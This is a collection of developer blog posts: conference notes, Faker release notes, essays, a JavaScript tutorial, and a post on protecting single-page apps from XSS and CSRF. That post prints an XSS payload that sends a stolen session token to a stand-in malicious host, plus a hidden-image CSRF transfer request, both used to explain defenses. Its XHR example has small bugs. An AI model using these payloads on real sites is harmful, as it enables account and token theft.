Si vous ne connaissez pas GraphQL, dites-vous que c’est peut-être le successeur du format REST, le champion actuel des formats d’échange de données. Ma conférence n’était pas une évangélisation, mais un état des lieux impartial, sans concession et à l’abri des effets de mode. Rassurez-vous, c’est aussi distrayant !
Alors pour savoir si vous devez utiliser GraphQL dans votre prochain projet web, coupez le téléphone et regardez la vidéo (40 minutes) de la conférence, captée à BlendWebMix :
Si vous avez des questions, des commentaires, des objections, n’hésitez pas à utiliser la boite de commentaires ci-dessous.
Merci encore aux organisateurs de Blend et du Forum PHP. L’accueil était, comme toujours, au top. J’ai passé un excellent moment, et les retours du public n’y étaient pas pour rien. Rendez-vous dans une prochaine conférence !
]]>Sans langue de bois, avec des exemples concrets et plein de dessins, cette conférence vous aidera à vous décider si vous avez intérêt à parier sur cette technologie dans les années à venir.
Pour la découvrir, voici la vidéo en intégralité (50 minutes), ainsi que les slides commentés.
Ma position sur la blockchain va à rebours de l’opinion générale. Vous êtes d’accord ? Pas d’accord ? Réagissez dans les commentaires ci-dessous.
Un grand merci aux organisateurs de ces deux conférences, à la logistique impeccable et à la gentillesse infinie. Merci au public venu nombreux, et à bientôt pour une nouvelle conférence !
]]>Et voici le support de la présentation :
Si vous êtes d’accord, si vous n’êtes pas d’accord, si vous voulez ajouter quelque chose, je vous invite à poster un commentaire ci-dessous, ou sur joind.in.
Merci à l’AFUP et à tous les volontaires pour l’organisation, comme toujours au top. Et merci au public pour son soutien et sa tolérance pour un talk qui ne parle pas de PHP dans une conférence PHP!
]]>Faker 1.6 includes a bunch of new formatters, to help you generate even more data types:
<?php
$faker->e164PhoneNumber() // '+27113456789'
$faker->jobTitle() // 'Cashier'
$faker->dateTimeInInterval($startDate = '-30 years', $interval = '+ 5 days', $timezone = date_default_timezone_get()) // DateTime('2003-03-15 02:00:49', 'Antartica/Vostok')
$faker->iban($countryCode) // 'IT31A8497112740YZ575DJ28BP4'
$faker->swiftBicNumber // 'RZTIAT22263'
Not to mention the myriad of locale-specific formatters that grow at each release.
valid()
ModifierIf you want to generate random data matching special format validators, this modifier is a perfect fit:
<?php
// valid() only accepts valid values according to the passed validator functions
$values = array();
$evenValidator = function($digit) {
return $digit % 2 === 0;
};
for ($i=0; $i < 10; $i++) {
$values []= $faker->valid($evenValidator)->randomDigit;
}
print_r($values); // [0, 4, 8, 4, 2, 6, 0, 8, 8, 6]
// just like unique(), valid() throws an overflow exception when it can't generate a valid value
$values = array();
try {
$faker->valid($evenValidator)->randomElement(1, 3, 5, 7, 9);
} catch (\OverflowException $e) {
echo "Can't pick an even number in that set!";
}
Faker could already create entities/records for Doctrine, Propel, Mandango and CakePHP. With version 1.6, Faker now offers ORM populators for Propel2 and Spot. The syntax is similar to the one used for other ORMs:
<?php
$generator = \Faker\Factory::create();
$populator = new Faker\ORM\Propel2\Populator($generator);
$populator->addEntity('Author', 5);
$populator->addEntity('Book', 10, array(
'ISBN' => function() use ($generator) { return $generator->ean13(); }
'CreatedAt' => null,
'UpdatedAt' => null,
), , array(
function($book) { $book->publish(); },
));
$insertedPKs = $populator->execute();
print_r($insertedPKs);
// array(
// 'Author' => (34, 35, 36, 37, 38),
// 'Book' => (456, 457, 458, 459, 470, 471, 472, 473, 474, 475)
// )
Faker grows in every part of the planet. Contributors from more than 59 different languages or countries (locales, in fact) have helped make Faker a true polyglot. Faker 1.6 introduces 9 new locales:
ar_SA
)de_CH
)en_IN
)en_SG
)fr_CH
)he_IL
)hr_HR
)it_CH
)lt_LT
)Besides, the Norwegian locale was renamed from nb_NO
(which doesn’t exist) to no_NO
More and more people contribute to Faker, and more and more often. Since Faker 1.5, not less than 73 contributors chose to share their code with the Faker project. It’s just astounding. Let me list them all, and give them a huge thank you:
aivus ajbdev alesf AlexCutts ankitpokhrel asika32764 behramcelen belendel bessl byan daveblake deerawan denheck DIOHz0r endelwar fonsecas72 gido gietos glagola GrahamCampbell halaxa huy95 igorsantos07 ihsanudin ikwattro ivanmirson jadb JasonMortonNZ JeroenDeDauw JonathanKryza julien-c killerog kix kletellier kumamidori lintaba Lisso-Me lperto MatissJanis miclf mikehaertl nazar-pc netcarver pauledenburg paulvalla pearlc phaza philsturgeon piotrantosik Ragazzo ronanguilloux schmengler semanser SpaceK33z stelgenhof stof stoutZero svrnm swekaj terion-name tharoldD TimWolla TomasVotruba TomK totophe tzhuan ulrikjohansson wizardjedi YerlenZhubangaliyev ysramirez ZAYEC77 zoli zrashwani
You can see the integral list of changes in the CHANGELOG file.
Randomness is ultra hype these days. With the proper random SHA256 hash, you can earn more than $10,000 by generating a bitcoin block. Faker allows you to do it in an extremely elegant (albeit absolutely not performant) way, using Flaubert’s Madame Bovary as a source of randomness:
<?php
const DIFFICULTY = 2;
$faker = Faker\Factory::create('fr_FR');
$pattern = str_repeat('0', DIFFICULTY);
$i= 0;
while (true) {
$faker->seed($i++);
$hash = hash('sha256', $faker->realText());
if (strpos($hash, $pattern) === 0) {
echo $i, " ", $hash, "\n";
}
}
52 00e132fc0f200ab2971f3c0f7408f5b779e819c3790801e2b5b1188ec6f51719
334 0052addd18677d04f57635eea602f46b4b8920f66216616ad12c912e78f4336f
562 0063a44ba60e9f872500c4b7976b90341c8b732edbcf3f918b8e374397fadc7f
1529 0012b07697882f6f48d64360563ab0336b7c41e6828add322703a45e6de770e8
1816 009832c52e63eeab7a8f43d43bade40fadf014aeccface6987923d317cc50d65
2033 000b52e38383a9306dc6bba878ba94b42f16dce98ff3dced9909899b1da812c9
2352 004223846a104f8c5b68afebe9fb30fd840cf075485e0ed5d19d24bfcdecc787
2394 00e643d56d201e17658cf5161f03afc0b125ce82be09f386bfb46700a34a4fb0
2449 00a28bc6fe0ecdfd41585682b4d1208ce3839ebd5e38471c5f07e32fd5f73e66
2614 009f5fe203eecd93aaebac414906c86fcef9675a7336b849d777d8c9831fcbf7
2744 00c11d561714aed4ea0b117f204954eebf27c006ff513435cb8f9f0fff9847d1
2837 00f6e29b6117ca940b7e3fe2e7a3939299e5cf3c690101ff02cfc6ee30689900
...
Happy Fake Mining!
]]>I’ve heard that sentence a lot during the latest PHP conference I attended. I also heard “I hate PHP” many times during JavaScript conferences. And don’t get me started on Python developers, who seem to despise anything that doesn’t have “The Zen”.
It makes me sad.
“I hate JavaScript: it’s spaghetti code all over, with all these callbacks and events and whatnot”. Well, you don’t hate JavaScript, you hate poor jQuery code. Take a look at how people write modern JavaScript (React/Redux is a great example).
“I hate Node.js: it’s based on a language that was written in 10 days by a guy called Brendan”. Wake up dude, JavaScript has evolved a lot since then. Take a look at ES2015, it’s a joy to read and write.
“I hate PHP, it has curly braces”. It also has some of the most active open-source communities, awesome frameworks and libraries, maintained for real by passionate and skilled developers.
“I hate PHP, it’s so slow”. Unless you learn to profile your code correctly, and detect the bottlenecks you added by mistake, or switch to a faster implementation (PHP7, HHVM). Did you know that PHP powers Facebook?
“I hate PHP, it doesn’t handle asynchronicity/channels/functional programming”. What if the programs written in PHP don’t actually need to deal with that?
My point is: ALL the people I hear saying that they hate a language hate it for the wrong reasons. By expressing their hate, they mostly show their incompetence.
Haters don’t need another language to hate. Alternative frameworks are perfect targets, too. “Laravel is crap, it’s so much worse than Symfony”. And even if your neighbor uses the same framework as you do, you’ll probably look disgusted when you see that they chose the “FooBar” authentication plugin for that framework.
Did you notice? The first thing many developers do when they open a source file that they didn’t write themselves is to say: “Ew, this is crap” - even if it’s using their preferred technology stack. It sometimes happen when they open a script they wrote themselves a couple years ago, too.
That’s just snobbery. Maybe those developer don’t just hate PHP. Maybe they hate programming. Maybe they just hate.
It reminds me of these countryside villagers who hate the people from the closest village just because they live a few kilometers away from each other. In a hyperconnected world, this sounds stupid, don’t you think? Well, that Laravel developer is your neighbor. Maybe he didn’t choose where he was born, but he grew up to learn and love the place. I don’t see anything bad about that.
Why are there so many programming languages? Because we need them.
Some languages are easy to learn, some have built-in concurrency support, some are completely object-oriented, some are compiled, some are statically typed, etc. Just like there is an infinity of project types, and an infinity of programmer types, we need diversity in programming languages.
Oh, and if there was one language so much better than all the others, don’t you think that the entire world would already be using only this language? Right, that didn’t happen.
So you’re convinced that Ruby on Rails is the single and only tool that you’ll ever use, because it does everything, and it does everything right.
Fast-forward 20 years from now. The only projects you’re working on are legacy programs that nobody wants to maintain anymore. Modern languages offer higher abstraction levels, and every normal programmer now considers Ruby on Rails the same way you used to consider Assembly. You now picture yourself as a Cobol developer. You’re still far from being retired, but you’re already a has been.
Let’s go back to today. The MVC architecture, once a (rediscovered) breakthrough for web applications, makes little sense when all you need is a storage layer exposed over HTTP. Full-stack frameworks were a great fit for monolith applications. But for API-centric architectures, maybe we need to find other tools. Good practices evolve, languages evolve, customers ask for new things (real time communication, rich UX, AI, mobile apps, you name it), so programmers must evolve, too.
We can learn something new from every language. Scala makes functional programming obvious. Flux simplifies the update workflow of user interfaces like never before. WinDev uses French to name functions, which is great for programmers who never learned English. When I meet someone doing something else than what I do, I try to detect the good ideas, the good practices that I could reuse. I love to learn from other people’s experiences.
I dream about a tech conference that would not be centered around a particular technology. A tech conference mixing several developer cultures, without any preconception, but a single purpose: open our minds.
Stop hating. Start learning. Also, please, next time we meet, tell me what you love.
]]>But as we’re reinventing web applications, we need to reinvent web application security, too.
Is an API-centric architecture vulnerable to classic web applications attack vectors like XSS and CSRF? By default, yes it is. And securing a single page application is much less trivial than it seems. Let’s see that through an example.
XSS and CSRF attacks make a web surfer execute nasty tasks on websites (like sending money to a stranger or leaking their credit card number) without being aware of it. These attacks only make sense in a secure application, i.e. an application where the surfer needs to authenticate first before accessing privileged data and actions.
So the heart of the problem lies around the process of authentication. How does it work in a single page app? Let’s call our web surfer Bob. Bob visits https://www.bobank.com to check his bank account. This domain serves only static files (html, js, and css) rendering in Bob’s browser. The JavaScript application, once started, asks Bob for his login and password. Then the application connects to https://api.bobank.com via AJAX, and sends Bob’s login and password. The API application verifies if Bob is Bob (authentication), generates a temporary token that it sends back to Bob. Bob must send this token each time it connects to the API. The API then checks the token, recognizes Bob, verifies if BOB has access to the resource he asks for (authorization), and sends the resource back to Bob.
Sending the token is much safer than sending the login and password over and over again. The benefit of this approach is clear.
How do Single Page Applications implement this exchange? To post the login and password to the /authenticate
route in a SPA, you must use AJAX. Whether you use fetch
, Restangular, Restful.js, or plain XmlHttpRequest, the implementation is mostly the same.
/**
* @return {Promise}
*/
function authenticate(login, password) {
return fetch('https://api.bobank.com/', {
method: 'POST',
body: JSON.stringify({
login: login,
password: password,
}),
headers: {
'Content-Type': 'application/json; charset=utf-8',
'Accept': 'application/json',
}
}).then(function(response) {
return response.json();
})
}
Most of the time, the remote API is served from another domain than the static files (often hosted on a CDN). So this AJAX request is effectively a cross-domain AJAX request, which is prevented by browser security rules (the same-origin policy) by default. To circumvent these rules, the remote API must specify that it accepts cross-origin AJAX calls, using the CORS rules. That means that the remote API must send the following Access-Control-Allow-
headers in response to the POST /authenticate
call:
HTTP/1.1 200 OK
Content-Type: application/json; charset=utf-8
Access-Control-Allow-Headers: Content-Type
Access-Control-Allow-Methods: GET,POST,PUT
Access-Control-Allow-Origin: https://www.bobank.com
{
"token": "15d38683-a98f-402d-a373-4f81a5549536"
}
Fine, now Bob’s browser can grab an authorization token. How should Bob’s browser store the token, and how should it sent it back the API?
The application running in Bob’s browser is in JavaScript. The easiest storage a JavaScript developer has access to is Session Storage (or Local Storage, to keep the token persistent between tabs).
authenticate(login, password)
.then(function(authentication) {
window.sessionStorage.setItem('token', authentication.token);
})
.then(getAccounts)
.then(function(accounts) {
// display the accounts page
// ...
})
.catch(function(error) {
// display error message in the login form
// ...
});
Most of the time, APIs require that this token is sent as a custom Authorization
header for each call. So the call to GET /accounts
usually looks like:
/**
* @return {Promise}
*/
function getAccounts() {
return fetch('https://api.bobank.com/accounts', {
headers: {
'Authorization': 'Token ' + window.sessionStorage.getItem('token'),
'Content-Type': 'application/json; charset=utf-8',
'Accept': 'application/json',
}
}).then(function(response) {
return response.json();
})
}
One thing to note is that this Authorization
header must be added to the list of authorized headers in the Access-Control-Allow-Headers
CORS header, by the API server. So API responses should look like the following:
HTTP/1.1 200 OK
Content-Type:application/json; charset=utf-8
Access-Control-Allow-Headers: Content-Type,Authorization
Access-Control-Allow-Methods: GET,POST,PUT
Access-Control-Allow-Origin: https://www.bobank.com
[
{ id: 456346436, ... }
]
This approach works for the GET /accounts
, and all subsequent calls to the API. But it has one major drawback: it is vulnerable to an XSS attack.
Every script running on the same domain as the single page application has access to the session storage. Every script, and this includes possible malicious script inserted by an attacker. For instance, an attacker could enter the following value in a comment form:
<script>
var token = window.sessionStorage.getItem('token');
var img=document.createElement("img");
img.setAttribute('src', 'http://my.malicious.website/?stolenToken=' + token);
document.body.appendChild(img);
</script>
If the application script outputs this value to HTML directly, the attacker will gather all the customer tokens. This is called a Cross-Site Scripting attack, or XSS.
To be safe from XSS attacks, the application script (whether client-side or server-side) must always escape user input before writing it into HTML (e.g. transforming <
into <
, >
into >
, etc.). If you use a framework like Angular.js, XSS escaping is on by default. If you use React.js, you never manipulate the DOM, so your app is secured against XSS attacks, too.
But in modern web applications, developers usually rely on many third-party scripts that they can’t control. Are you sure that this fancy animation library that you grabbed from bower always escapes <
and >
properly? And this CDN serving A/B testing code, hasn’t it been compromised lately? Even if you don’t use external JS libraries, maybe a simple bug in your browser can create XSS vulnerability (a.k.a Universal XSS).
The bottomline is: session storage (and local storage) isn’t safe. Any serious penetration test marks usage of web storage for authentication token as a serious vulnerability. Many banking and insurance organizations forbid web storage for this reason.
The browser offers a storage that can’t be read by JavaScript: HttpOnly
cookies. Cookies sent that way are automatically sent by the browser, so it’s a good way to identify a requester without risking XSS attacks.
How do you deal with cookies in cross-domain AJAX? It’s a little more complicated than you’d think.
First, the response to the POST /authenticate
call should return the token in the Set-Cookie
header:
HTTP/1.1 200 OK
Content-Type: application/json; charset=utf-8
Access-Control-Allow-Headers: Content-Type
Access-Control-Allow-Methods: GET,POST,PUT
Access-Control-Allow-Origin: https://www.bobank.com
Set-Cookie: session=15d38683-a98f-402d-a373-4f81a5549536; path=/; expires=Fri, 06 Nov 2015 08:30:15 GMT; httponly
See the httpOnly
setting in the session
cookie? That’s what makes it invisible to client-side JavaScript.
By default, subsequent AJAX calls to the API do not include this session cookie yet. This is because cross-domain AJAX forbids it by default. To enable the sending of credentials, AJAX calls must be done with credentials
set to include
:
authenticate(login, password)
.then(getAccounts)
.then(function(accounts) {
// display the accounts page
// ...
})
.catch(function(error) {
// display error message in the login form
// ...
});
/**
* @return {Promise}
*/
function getAccounts() {
return fetch('https://api.bobank.com/accounts', {
headers: {
'Content-Type': 'application/json; charset=utf-8',
'Accept': 'application/json',
},
credentials: 'include' // <= that's what changed
}).then(function(response) {
return response.json();
})
}
If you don’t use fetch
but XmlHttpRequest
, the setting is called withCredentials
. It’s only available in XmlHttpRequest2, so make sure you pass true
as third argument of the XHR constructor.
function getAccounts() {
return new Promise(function(fulfill, reject) {
var req = new XMLHttpRequest();
req.open('GET', 'https://api.bobank.com/accounts', true); // force XMLHttpRequest2
req.setRequestHeader('Content-Type', 'application/json; charset=utf-8');
req.setRequestHeader('Accept', 'application/json');
req.withCredentials = true; // pass along cookies
req.onload = function() {
// store token and redirect
let json;
try {
json = JSON.parse(req.responseText);
} catch (error) {
return reject(error);
}
resolve(json);
};
req.onerror = reject;
});
}
Almost there! In order for the browser to accept to send XmlHtpRequests with credentials, the API must include the Access-Control-Allow-Credentials
header in every response. For example, the server should respond to GET /accounts
as follows:
HTTP/1.1 200 OK
Content-Type: application/json; charset=utf-8
Access-Control-Allow-Credentials: true
Access-Control-Allow-Headers: Content-Type,Authorization
Access-Control-Allow-Methods: GET,POST,PUT
Access-Control-Allow-Origin: https://www.bobank.com
Set-Cookie: session=15d38683-a98f-402d-a373-4f81a5549536; path=/; expires=Fri, 06 Nov 2015 09:30:15 GMT; httponly
[
{ id: 456346436, ... }
]
Note that the cookie expiration date should be updated for each call, to avoid disconnection even after web activity.
This approach works for the GET /accounts
, and all subsequent calls to the API. Authentication tokens are broadly used in APIs. There are even standard ways to represent them (like JSON Web Token, or JWT). But again, it has one major drawback: they are vulnerable to CSRF attacks.
Cross-Site request Forgery attacks work across two sites: a malicious / infected site (e.g. xxxtorrentz.com), and the site/API where the user has credentials (api.bobank.com). When Bob visits the infected site, he may not notice the following image:
<img src="https://api.bobank.com/transfer?amout=10000&to=34523454561" style="width:0;height:0" />
If Bob authenticated to api.bobank.com in the past, every request he makes to the same address contains the session cookie. So the malicious call for a money transfer will pass authentication.
CSRF isn’t limited to GET routes. With JavaScript, it’s very easy to submit an invisible form with a POST method. And don’t get me started on iframes!
The classic protection against CSRF attacks is to use… a token. Yes, you read that right. The transposition of the Synchronizer Token Pattern to API-first applications is to have the API send a token as a response to the POST /authenticate
request, store this token in session storage, and send it as a header with each subsequent request to the API. Exactly what we did two sections above!
Let me summarize the pros and cons of each approach:
Approach | Vulnerable to | Immune to |
---|---|---|
Token, Web Storage and Authorization Header | XSS | CSRF |
Session cookie | CSRF | XSS |
Each approach taken individually is vulnerable. The solution? Use them both. Combined, a session token and a session cookie are immune to both XSS and CSRF.
So the AJAX call to POST /authenticate
should expect both a session cookie header, and a token in the response body. They must be different, otherwise an attacker getting access to either one of them could bypass both authentications.
HTTP/1.1 200 OK
Content-Type: application/json; charset=utf-8
Access-Control-Allow-Credentials: true
Access-Control-Allow-Headers: Content-Type,Authorization
Access-Control-Allow-Methods: GET,POST,PUT
Access-Control-Allow-Origin: https://www.bobank.com
Set-Cookie: session=ee506a61-d51a-4145-83fd-47f63cff8b2f; path=/; expires=Fri, 06 Nov 2015 08:30:15 GMT; httponly
{
"token": "15d38683-a98f-402d-a373-4f81a5549536"
}
The JavaScript application must then store the JavaScript token, and pass it in the Authorization header. The browser takes care of passing along the cookie, too - provided all AJAX requests are withCredentials
:
authenticate(login, password)
.then(function(authentication) {
window.sessionStorage.setItem('token', authentication.token); // store token
})
.then(getAccounts)
.then(function(accounts) {
// display the accounts page
// ...
})
.catch(function(error) {
// display error message in the login form
// ...
});
/**
* @return {Promise}
*/
function getAccounts() {
return fetch('https://api.bobank.com/accounts', {
headers: {
'Authorization': 'Token ' + window.sessionStorage.getItem('token'), // <= include token
'Content-Type': 'application/json; charset=utf-8',
'Accept': 'application/json',
},
credentials: 'include' // <= include session cookie
}).then(function(response) {
return response.json();
})
}
There are many variants of this double edge protection. For instance, the CSRF token can be provided by a cookie, too - but a cookie readable via JavaScript (not HttpOnly
). That’s how the Angular.js CSRF protection works.
If you implemented the cookie+token storage as described above, you can be sure of one thing: it will not work on IE9. And probably not on IE10, either. Internet Explorer’s implementation of XMLHttpRequest lacks support for custom headers, and for the “withCredentials” support. Microsoft’s alternative cross-domain AJAX utility for IE9, called XDomainRequest
, is a joke. It’s so broken that it’s been abandoned since.
You don’t have to support IE9 and IE10? You’re lucky. Otherwise, all is not lost. There is no problem that a good iframe can solve. That’s the approach of a little library called xdomain, a life-saver for API-centric web applications with compulsory legacy browser support. Tested, and approved!
Just like regular HTML pages served by a web server, single page apps must be protected both by cookies and a CSRF token. So there is nothing new under the sun? Except that all this communication now takes place in AJAX, and must comply with CORS guidelines.
Also, if tokens aren’t enough, why do so many public APIs only provide token-based authentication? Probably because the primary use case for these APIs isn’t to be consumed directly by a JavaScript client in a web browser… Or because these APIs trust you to never open any XSS vulnerability in your apps and leak your tokens. Are you sure your apps are so secure?
]]>Uptime, the remote monitoring application using Node.js, MongoDB, and Twitter Bootstrap, has done its time. I started this project almost 4 years ago as an exercise to learn Node.js. It became much more popular than I expected (more than 2,800 starts on GitHub!), and I quickly found myself spending more time maintaining it than I could give. During the past 2 years, my support on this project has been reduced to almost zero, and the number of open issues has been rising. So it’s time to officially announce Uptime’s end of life for good.
There are many reasons why maintaining this app isn’t very rewarding. The architecture is not very good, all third-party components are outdated, MongoDB causes many problems in production. If I had to rebuild Uptime today, I’d probably create an API-first app written in Go, and a fully static frontend written in React.js, with charts in d3.js. One of our interns at marmelab even gave it a try.
But most of all, I don’t use Uptime myself anymore. Maintaining an open-source project that you don’t use is like carrying someone else’s grocery bag. It’s fun at first, but it’s hard to keep doing it every day when you need to do your own shopping.
There are many, many alternatives to uptime, open-source or commercial, doing a much better job. See for instance this list of more than 100 Website Monitoring Services. Some of these are really great, and deserve the few euros or dollars per month that they ask for the service. That’s another motivation for me: what’s the point of building a free tool to replace commercial alternatives? Open-source is about creating value. Uptime is destroying value.
Anyway, it’s been fun building this product and watching it rise in popularity. I have no doubt that current Uptime users will find a cheap alternative for their needs.
]]>In this tutorial, I’ll show two implementations of a very simple function: getNestedValue()
, which can help you retrieve a value in a deeply nested object.
/**
* Get a nested object property by name
*
* Supports direct and nested property names (separated by dots)
*
* getNestedValue({ foo: 1 }, 'foo') // 1
* getNestedValue({ foo: { bar: 2 } }, 'foo.bar') // 2
* getNestedValue({ hello: 'world' }, 'foo.bar') // undefined
*
* @param {Object} object
* @param {String} propertyName
*
* @return {Object|String|Number}
*/
export function getNestedValue(object, propertyName) {
// ...
}
The export
statement is ES6, but it’s not important; that’s just the way to expose this function to the outside world. It could be module.exports
in node, or window.getNestedValue
in the browser. Don’t pay too much attention to that.
Before implementing the function, in good Test-Driven Development style, let’s write the unit tests. They will use mocha
and chai
for the assertions, but even if you don’t know these tools, they’re pretty self-explanatory.
const assert = require('chai').assert;
import {getNestedValue} from '../lib/objectProperties';
describe('getNestedValue()', () => {
it('should return undefined for undefined objects', () =>
assert.isUndefined(getNestedValue(undefined, 'foo'))
);
it('should return undefined for undefined properties', () =>
assert.isUndefined(getNestedValue({}, 'foo'))
);
it('should return the named property if defined', () =>
assert.equal(getNestedValue({bar: 'baz'}, 'bar'), 'baz')
);
it('should return the deeply nested named property if defined', () =>
assert.equal(getNestedValue({bar: { baz: 1 }}, 'bar.baz'), 1)
);
it('should return undefined for a deeply nested named property if undefined', () =>
assert.isUndefined(getNestedValue({}, 'bar.baz'))
);
it('should not accept to get empty property names', () =>
assert.throws(() => getNestedValue({}, ''))
)
});
There’s a little more ES6 here, but don’t let that bog your mind:
import {getNestedValue} from '../lib/objectProperties';
// same as
var objectProperties = require('../lib/objectProperties')
var getNestedValue = objectProperties.getNestedValue;
() => {
// do things
}
// same as
function() {
// do things
}
With the empty function body defined in the first section, it’s enough to run the tests. Of course, they won’t pass until they are actually implemented.
The classic approach for most programmers would probably be the following:
export function getNestedValue(object, propertyName) {
if (!propertyName) throw new Error('Impossible to set null property');
var subObject = object,
parts = propertyName.split('.'),
len = parts.length,
i;
for (i = 0; i < len; i++) {
if (!subObject || typeof subObject === 'undefined') return undefined;
subObject = subObject[parts[i]];
}
return subObject;
}
It’s perfectly fine, and passes all tests:
$ ./node_modules/.bin/mocha --compilers js:babel/register
getNestedValue()
✓ should return undefined for undefined objects
✓ should return undefined for undefined properties
✓ should return the named property if defined
✓ should return the deeply nested named property if defined
✓ should return undefined for a deeply nested named property if undefined
✓ should not accept to get empty property names
6 passing (1s)
What’s “imperative” in this script? The script is basically telling the computer how to do something, and as a result what you want to happen will happen. After all, that’s what most programmers are taught to do, right? Right, you’re usually doing imperative programming without knowing it. Most programmers are the Monsieur Jourdain of imperative programming.
It turns out there is another way: the “declarative” way. In declarative programming, the program tells the computer what you would like to happen, and lets the computer figure out how to do it. How does that apply to getNestedValue()
? See below.
function getValue(object, propertyName) {
if (!propertyName) throw new Error('Impossible to set null property');
return typeof object === 'undefined' ? undefined : object[propertyName]
}
export function getNestedValue(object, propertyName) {
return propertyName.split('.').reduce(getValue, object);
}
Sure enough, this completely different implementation passes all tests. It’s shorter, less error-prone, and, once you’re used to it, more readable. Isn’t it?
First thing to notice is the use of reduce()
. That’s a neat JavaScript function that is usually underestimated. According to the MDN Array.prototype.reduce()
page:
The
reduce()
method applies a function against an accumulator and each value of the array (from left-to-right) to reduce it to a single value.
reduce()
takes a function as parameter (it’s enough to qualify reduce()
for the title of “higher-order function”). This function argument is executed once for each element in the array (kind of like forEach()
). But the result of this function execution is passed to the function itself the next time it runs.
function sumArray(values) {
return values.reduce(
(previousValue, currentValue) => previousValue + currentValue,
0
);
}
sumArray([2, 5, 8]); // 15
In this example, you can visualize the three executions of the “accumulator” function:
The most important thing to understand here is that reduce()
doesn’t expose how it iterates over the array. No temporary index, no for
loop. You don’t know how it works, but you know what it does. It’s a perfect declarative statement.
The getValue
function is actually used as a parameter in getNestedValue
without actually being executed.
export function getNestedValue(object, propertyName) {
return propertyName.split('.').reduce(getValue, object);
}
Replacing getValue
by its value, the declarative code could be written as follows:
export function getNestedValue(object, propertyName) {
return propertyName.split('.').reduce((object, propertyName) => {
if (!propertyName) throw new Error('Impossible to set null property');
return typeof object === 'undefined' ? undefined : object[propertyName]
}, object);
}
But it’s much less readable than the first snippet, right? By exporting the inner code into the simple getValue
function, and composing it into the second, the code is made much more readable.
One great thing about reduce()
is that it allows to transform a function designed for scalars to a function working on arrays:
function sum(a, b) {
return a + b;
}
[2, 5, 8].reduce(sum, 0); // 15
function multiply (a, b) {
return a * b;
}
[2, 5, 8].reduce(multiply, 1); // 80
Did you notice? The imperative style requires the definition of four local variables (subObject
, parts
, len
, and i
), while the declarative style only uses function parameters.
// imperative
export function getNestedValue(object, propertyName) {
if (!propertyName) throw new Error('Impossible to set null property');
var subObject = object,
parts = propertyName.split('.'),
len = parts.length,
i;
for (i = 0; i < len; i++) {
if (!subObject || typeof subObject === 'undefined') return undefined;
subObject = subObject[parts[i]];
}
return subObject;
}
// declarative
export function getNestedValue(object, propertyName) {
return propertyName.split('.').reduce(getValue, object);
}
Less variable declarations, less questions about variable naming, less questions about variable scope… That’s a huge benefit I think. In fact, one thing declarative programming gets out of the way is to manage state, and that’s a huge relief.
Which way is the best way? None. It’s a matter of coding style, of preference. Some languages (like SQL, regular expressions) force you to use the declarative style. Most languages force you the other way. JavaScript gives you the choice.
The declarative way usually hides the implementation details and lets you focus on the business logic, reducing the amount of code. I tend to love it a bit more every day. I can only advise you to give it a try!
Further pointers:
]]>Faker 1.5 includes a bunch of new formatters, to help you generate even more data types:
$faker->shuffle('hello, world') // 'rlo,h eoldlw'
$faker->shuffle(array(1, 2, 3)) // array(2, 1, 3)
$faker->asciify('Hello ***') // 'Hello R6+'
$faker->regexify('[A-Z0-9._%+-]+@[A-Z0-9.-]+\.[A-Z]{2,4}') // sm0@y8k96a.ej
$faker->password // 'k&|X+a45*2['
$faker->swiftBicNumber // RZTIAT22263
$faker->isbn13 // '9790404436093'
$faker->isbn10 // '4881416324'
$faker->currencyCode // EUR
$faker->biasedNumberBetween($min = 10, $max = 20, $function = 'sqrt') // 12
$faker->imageUrl($width, $height, 'cats', true, 'Faker') // 'http://lorempixel.com/800/400/cats/Faker', the url of a cat image with the word "Faker" in it
Let me focus on just three of them: shuffle
, regexigy
, and biasedNumberBetween
.
shuffle
already exists in PHP. The problem is that the native shuffle()
function doesn’t rely on the same randomizer as Faker. Faker’s randomizer, powered by mt_rand()
, uses the Mersenne Twister algorithm to provide more random, and seedable data. Faker’s shuffle
uses Faker’s randomizer, together with the Fisher-Yates algorithm, and works both on strings and arrays. It’s just a million times better than the native version.
// try that, and you'll get exactly the same random data
$faker = Faker\Factory::create();
$faker->seed(5);
for ($i=0; $i < 10; $i++) {
$faker->shuffle('hello, world');
}
// le ldrhwolo,
// lr,h oldeolw
// wllod lo,hre
// dh owo,rllel
// drleo wlh,lo
// dewolrll,oh
// wl edoollh,r
// lowd, lhrelo
// rolwd,lloeh
// ohole,dlwl r
regexigy
takes a regular expression as parameter, and returns a random string satisfying this regular expression. If the “string with wildcard” formatters (numerify('Hello ###')
, lexify('Hello ???')
, bothify('Hello ##??')
, asciify('Hello ***')
) aren’t enough for you, you can always use this powerful formatter.
$faker->regexify('\w') // k
$faker->regexify('(a|b)') // b
$faker->regexify('[aeiou]') // o
$faker->regexify('[a-z]') // p
$faker->regexify('[a-z1-9]') // w
$faker->regexify('a*b+c?') // abc
$faker->regexify('a{2}') // aa
$faker->regexify('a{2,3}') // aa
$faker->regexify('[aeiou]{2,3}') // ui
$faker->regexify('[a-z]{2,3}') // rw
$faker->regexify('(a|b){2,3}') // abb
$faker->regexify('\.\*\?\+') // .*?+
$faker->regexify('[a-z0-9._%+-]+@[a-z0-9.-]+\.[a-z]{2,4}') // a8%1-_@zvk.sgha
regexify
supports a subset of the RegExp syntax, usually enough to match your needs. But Unicode, negated classes, unbounded ranges, subpatterns, back references, assertions, recursive patterns, and comments are not supported. Escaping support is extremely fragile.
This formatter is also VERY slow. Use it only when no other formatter can generate the fake data you want. For instance, prefer calling $faker->email
rather than regexify
with the previous regular expression.
Also note than bothify
can probably do most of what regexify
does, but much faster. For instance, for a dummy email generation, try $faker->bothify('?????????@???.???')
.
biasedNumberBetween($min, $max, $function)
returns a random number between two boundaries, but with a non-uniform chance. You can pass a distribution function to have more chances to get a number close to the start, to the end, or to the middle.
The algorithm creates two doubles, x ∈ [0, 1], y ∈ [0, 1) and checks whether the return value of $function
for x is greater than or equal to y. If this is the case the number is accepted and x is mapped to the appropriate integer between $min
and $max
. Otherwise two new doubles are created until the pair is accepted.
$faker->biasedNumberBetween(1, 10, ['\Faker\Provider\Biased', 'unbiased']) // 5
$faker->biasedNumberBetween(1, 10, ['\Faker\Provider\Biased', 'linearLow']) // 3
$faker->biasedNumberBetween(1, 10, ['\Faker\Provider\Biased', 'linearHigh']) // 7
$function
can be any callable. The limit is your imagination!
People from all around the world use Faker. Version 1.5 comes with close to 60 locales, including 17 new ones:
ar_JO
)at_AT
)be_BE
)en_NZ
)en_UG
)es_VE
)fa_IR
)id_ID
)ka_GE
)kk_KZ
)ko_KR
)ne_NP
)no_NO
)sl_SI
)sv_SE
)vi_VN
)zh_TW
